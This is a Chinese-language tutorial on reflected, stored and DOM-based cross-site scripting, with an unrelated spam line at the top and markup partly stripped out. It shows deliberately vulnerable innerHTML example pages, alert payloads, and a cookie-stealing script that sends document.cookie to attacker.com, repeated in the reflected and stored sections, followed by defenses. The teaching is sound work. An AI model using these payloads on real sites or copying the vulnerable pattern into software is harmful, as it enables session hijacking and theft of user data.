网站内容策划,成都科盛兴网站建设有限公司,开源php cms,黄冈网站建设公司制作网站概念
跨站脚本攻击(XSS#xff09;#xff0c;指攻击者通过篡改网页#xff0c;嵌入恶意脚本程序#xff0c;在用户浏览网页时#xff0c;控制用户浏览器进行恶意操作。
XXS的分类 反射型XSS存储型XSSDOM型XSS
原理
反射型XSS
接收用户提交的访问者的姓名#xff0…
概念
跨站脚本攻击(XSS指攻击者通过篡改网页嵌入恶意脚本程序在用户浏览网页时控制用户浏览器进行恶意操作。
XXS的分类 反射型XSS存储型XSSDOM型XSS
原理
反射型XSS
接收用户提交的访问者的姓名并返回给浏览器。
漏洞利用步骤 黑客利用服务器上的XSS漏洞构造恶意的链接发送给受害者引诱受害者点击这个链接。受害者点击该链接向服务器发送包含恶意js代码的请求。服务器接收受害发送的请求没有对参数做检查和过滤直接将恶意的js代码响应给受害者。受害者收到服务器响应回来的恶意的js代码并由浏览器解析执行受到攻击 一些信息的搜索框可能存在反射型的XSS。
存储型XSS
存储型xss的利用步骤 黑客利用服务器上的XSS漏洞提交恶意的js代码服务器将恶意代码存储到数据库;受害者(其他用户)访问服务器的某个页面而这个页码会使用到数据库的数据。服务器从数据库获取恶意的js代码并返回给受害者; 存储型XSS漏洞利用条件比较简单危害面也比较广比反射型XSS更受到关注
DOM型XSS
DOM型的XSS攻击步骤 发现漏洞攻击者定位目标页面中未验证或未转义的用户输入源如 URL 参数、document.referrer 等。构造恶意输入攻击者通过输入或 URL 构造恶意脚本如 。引诱用户访问通过发送恶意链接或嵌入 iframe 等方式诱导用户访问目标页面。恶意脚本执行浏览器解析页面时动态执行注入的脚本达到窃取数据、伪造行为等目的。
攻击场景
反射型XSS
常见场景 搜索框搜索关键字未经过滤直接显示在结果页面上。错误提示页面参数中的值被直接反射到错误信息中。登录页面登录失败时直接将用户输入显示在页面中。 攻击例子 寻找漏洞一个搜索页面在 URL 参数中接收搜索关键词并直接反射到页面中代码如下
!DOCTYPE html
html
headtitleSearch/title
/head
bodyh1Search Results/h1pYou searched for: span idsearch-query/span/pscriptlet query new URLSearchParams(window.location.search).get(q);document.getElementById(search-query).innerHTML query;/script
/body
/html2. 恶意链接攻击者构造恶意链接http://example.com/search?qscriptalert(XSS)/script3. 用户点击链接1. 用户被诱导点击恶意链接。 2. 页面执行时scriptalert(XSS)/script 被插入到 DOM 中并执行。
4. 攻击结果1. 显示弹窗 XSS。2. 如果攻击者进一步注入恶意代码如窃取 Cookies(如下脚本)用户敏感信息可能被泄露。scriptfetch(http://attacker.com?cookie document.cookie)/script防御措施 输出转义对所有反射到页面中的数据进行 HTML 转义。输入验证限制用户输入内容的格式。使用 CSP通过 Content Security Policy 限制脚本执行。避免动态 HTML 注入使用安全的 DOM 操作方法如 textContent。
存储型XSS
攻击场景 评论系统用户提交的评论内容被直接存储并在页面上显示。用户资料页攻击者在个人签名、昵称等字段中存储恶意代码。反馈系统用户提交的反馈被管理后台读取并直接渲染。消息系统恶意消息被存储目标用户查看时触发脚本。 攻击例子
寻找漏洞一个博客的评论功能用户提交的评论内容被存储在数据库中并在页面加载时直接渲染到前端。 后端代码未过滤用户输入将评论直接存入数据库。前端代码直接输出评论内容到页面。 恶意脚本提交攻击者在评论表单中输入恶意代码提交评论后服务器将其存储到数据库中。
scriptfetch(http://attacker.com/?cookie document.cookie)/script恶意代码触发其他用户访问博客页面时评论内容被加载到页面中浏览器解析 HTML 时执行了攻击者的脚本。
div classcommentpscriptfetch(http://attacker.com/?cookie document.cookie)/script/p
/div 攻击结果 - 用户浏览器中的 Cookies 被窃取可能导致会话劫持。 - 恶意脚本可能进一步扩展攻击范围如在页面上插入伪造的登录表单。
防御措施 输出转义对输出到页面的内容进行 HTML 转义。例如将
DOM型XSS
攻击场景 URL 参数处理页面通过 JavaScript 从 URL 中读取参数并直接操作 DOM。Hash 值解析单页应用SPA中直接根据 window.location.hash 更新页面内容。前端渲染模板动态将用户输入插入到页面中而未进行任何安全处理。本地存储或 Cookie前端代码直接使用未验证的存储内容操作 DOM。 攻击例子 寻找漏洞某网页会根据 URL 参数显示欢迎消息
!DOCTYPE html
html
bodyh1 idwelcome-message/h1script// 从 URL 获取用户输入const user new URLSearchParams(window.location.search).get(user);// 直接插入到 DOMdocument.getElementById(welcome-message).innerHTML Welcome, ${user}!;/script
/body
/html恶意链接攻击者构造一个恶意 URL
http://example.com?userscriptalert(XSS)/script执行过程: 用户访问此链接JavaScript 动态解析 URL 参数将其内容插入到页面中:
h1 idwelcome-messageWelcome, scriptalert(XSS)/script!/h1浏览器解析 DOM 时执行了注入的脚本触发弹窗或其他攻击。攻击结果 - 窃取信息通过恶意代码读取 document.cookie 或用户输入。 - 伪造操作利用脚本模拟用户行为如提交表单。 - 传播攻击在受害者环境中植入更多恶意代码。
防御措施 避免直接操作 DOM使用安全的 DOM 操作方式如 textContent 而非 innerHTML。对输入进行验证和转义验证限制输入的内容格式。转义将特殊字符如 、, 转义为安全的 HTML 实体。使用安全的前端框架如 Vue、React这些框架默认对动态内容进行转义。CSP内容安全策略通过限制脚本来源减少恶意代码执行的风险。严格的前端代码审计确保任何动态内容渲染均经过安全处理。
参考文档 https://blog.csdn.net/qq_51780583/article/details/136960951 https://blog.csdn.net/m0_73531061/article/details/134874571